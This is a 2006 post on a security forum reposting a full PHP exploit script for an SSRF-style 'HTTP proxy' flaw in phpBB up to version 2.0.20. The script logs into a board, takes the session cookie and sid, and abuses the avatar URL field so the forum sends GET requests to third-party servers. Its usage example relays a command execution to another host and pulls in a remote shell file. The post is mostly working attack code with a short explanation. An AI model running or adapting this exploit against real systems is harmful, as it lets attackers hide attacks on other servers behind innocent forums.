 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 1220
 Members: 0
 Total: 1220
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
PhpBB <= v2.0.20 HTTP Proxy vulnerability |
|
 Posted: Sat Jul 15, 2006 12:28 pm |
 |
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
 |
|
 |
|
Original: http://retrogod.altervista.org/phpbb_2020_proxy.html
| Code: |
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpBB <= v2.0.20 HTTP Proxy vulnerability\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass url OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to PhpBB\r\n";
echo "url: launch an exploit against a third-party server\r\n";
echo "user/pass: you need a valid user account \r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpbb/ your_username password http://www.somevulnerablehost.com/somescript?cmd=somecommand\\>somepage\\&xpl=http://someshell.txt\r\n";
die;
}
/*explaination:
u can use PhpBB installations to launch exploits against other servers,
using "avatarurl" argument when you modify your profile as path
of a GET request.
Look usercp_avatar.php near lines 125-153:
...
if ( $avatar_mode == 'remote' && preg_match('/^(http:\/\/)?([\w\-\.]+)\:?([0-9]*)\/(.*)$/', $avatar_filename, $url_ary) )
{
if ( empty($url_ary[4]) )
{
$error = true;
$error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' . $lang['Incomplete_URL'] : $lang['Incomplete_URL'];
return;
}
$base_get = '/' . $url_ary[4];
$port = ( !empty($url_ary[3]) ) ? $url_ary[3] : 80;
if ( !($fsock = @fsockopen($url_ary[2], $port, $errno, $errstr)) )
{
$error = true;
$error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' . $lang['No_connection_URL'] : $lang['No_connection_URL'];
return;
}
@fputs($fsock, "GET $base_get HTTP/1.1\r\n");
@fputs($fsock, "HOST: " . $url_ary[2] . "\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
unset($avatar_data);
while( !@feof($fsock) )
{
$avatar_data .= @fread($fsock, $board_config['avatar_filesize']);
}
@fclose($fsock);
...
phpbb do not check if the user supplied value ends with an image extension, neither
checks if the supplied string contains "&" and "?" chars. So, you can submit a value
like this:
http://some_vulnerable.host/somescript.php?cmd=ls%20-la&xpl=http://someh
ost/someshell.txt
phpbb will launch a GET request like this:
GET /somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt HTTP/1.0
HOST: some_vulnerable.host
Connection: close
obviously you have no output, but this makes phpbb to be like a blind http proxy
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$username=$argv[3];
$pass=$argv[4];
$url=$argv[5];
$port=80;$proxy="";
for ($i=6; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{die("Wrong syntax...");}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "Step 1 -> Login ...\r\n";
$data="username=".trim(urlencode($username));
$data.="&password=".trim(urlencode($pass));
$data.="&redirect=".urlencode("admin/index.php?admin=1");
$data.="&admin=1";
$data.="&login=Log+in";
$packet="POST ".$path."login.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."/login.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[3]);
$cookie=$temp2[0];
$temp2=explode(" ",$temp[4]);
$cookie.=" ".$temp2[0];
echo "Cookie ->".$cookie."\r\n";
$temp=explode("admin=1&sid=",$html);
$temp2=explode("\n",$temp[1]);
$sid=trim($temp2[0]);
echo "sid ->".urlencode($sid)."\r\n\r\n";
if (($cookie=='') | ($sid=='')) {die("Unable to login...");}
echo "step 2 -> launch the GET request for: ".$url."\r\n";
$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="username"
'.trim(urlencode($username)).'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="email"
fake@fake_hotmail.com
-----------------------------7d62702f250530
Content-Disposition: form-data; name="cur_password"
-----------------------------7d62702f250530
Content-Disposition: form-data; name="new_password"
-----------------------------7d62702f250530
Content-Disposition: form-data; name="password_confirm"
-----------------------------7d62702f250530
Content-Disposition: form-data; name="icq"
-----------------------------7d62702f250530
Content-Disposition: form-data; name="aim"
-----------------------------7d62702f250530
Content-Disposition: form-data; name="msn"
-----------------------------7d62702f250530
Content-Disposition: form-data; name="yim"
-----------------------------7d62702f250530
Content-Disposition: form-data; name="website"
-----------------------------7d62702f250530
Content-Disposition: form-data; name="location"
-----------------------------7d62702f250530
Content-Disposition: form-data; name="occupation"
-----------------------------7d62702f250530
Content-Disposition: form-data; name="interests"
-----------------------------7d62702f250530
Content-Disposition: form-data; name="signature"
suntzu
-----------------------------7d62702f250530
Content-Disposition: form-data; name="viewemail"
1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="hideonline"
1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="notifyreply"
1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="notifypm"
1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="popup_pm"
1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="attachsig"
1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allowbbcode"
1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allowhtml"
1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allowsmilies"
1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="language"
italian
-----------------------------7d62702f250530
Content-Disposition: form-data; name="style"
1047
-----------------------------7d62702f250530
Content-Disposition: form-data; name="timezone"
2
-----------------------------7d62702f250530
Content-Disposition: form-data; name="dateformat"
D M d, Y g:i a
-----------------------------7d62702f250530
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatar"; filename="";
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatarurl"
'.$url.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatarremoteurl"
-----------------------------7d62702f250530
Content-Disposition: form-data; name="mode"
editprofile
-----------------------------7d62702f250530
Content-Disposition: form-data; name="agreed"
true
-----------------------------7d62702f250530
Content-Disposition: form-data; name="coppa"
0
-----------------------------7d62702f250530
Content-Disposition: form-data; name="user_id"
666
-----------------------------7d62702f250530
Content-Disposition: form-data; name="current_email"
fake@fake_hotmail.com
-----------------------------7d62702f250530
Content-Disposition: form-data; name="submit"
Submit
-----------------------------7d62702f250530--
';
$packet="POST ".$path."profile.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php?mode=editprofile\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
echo "sent...\r\n";
?>
|
Not tested ... |
|
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
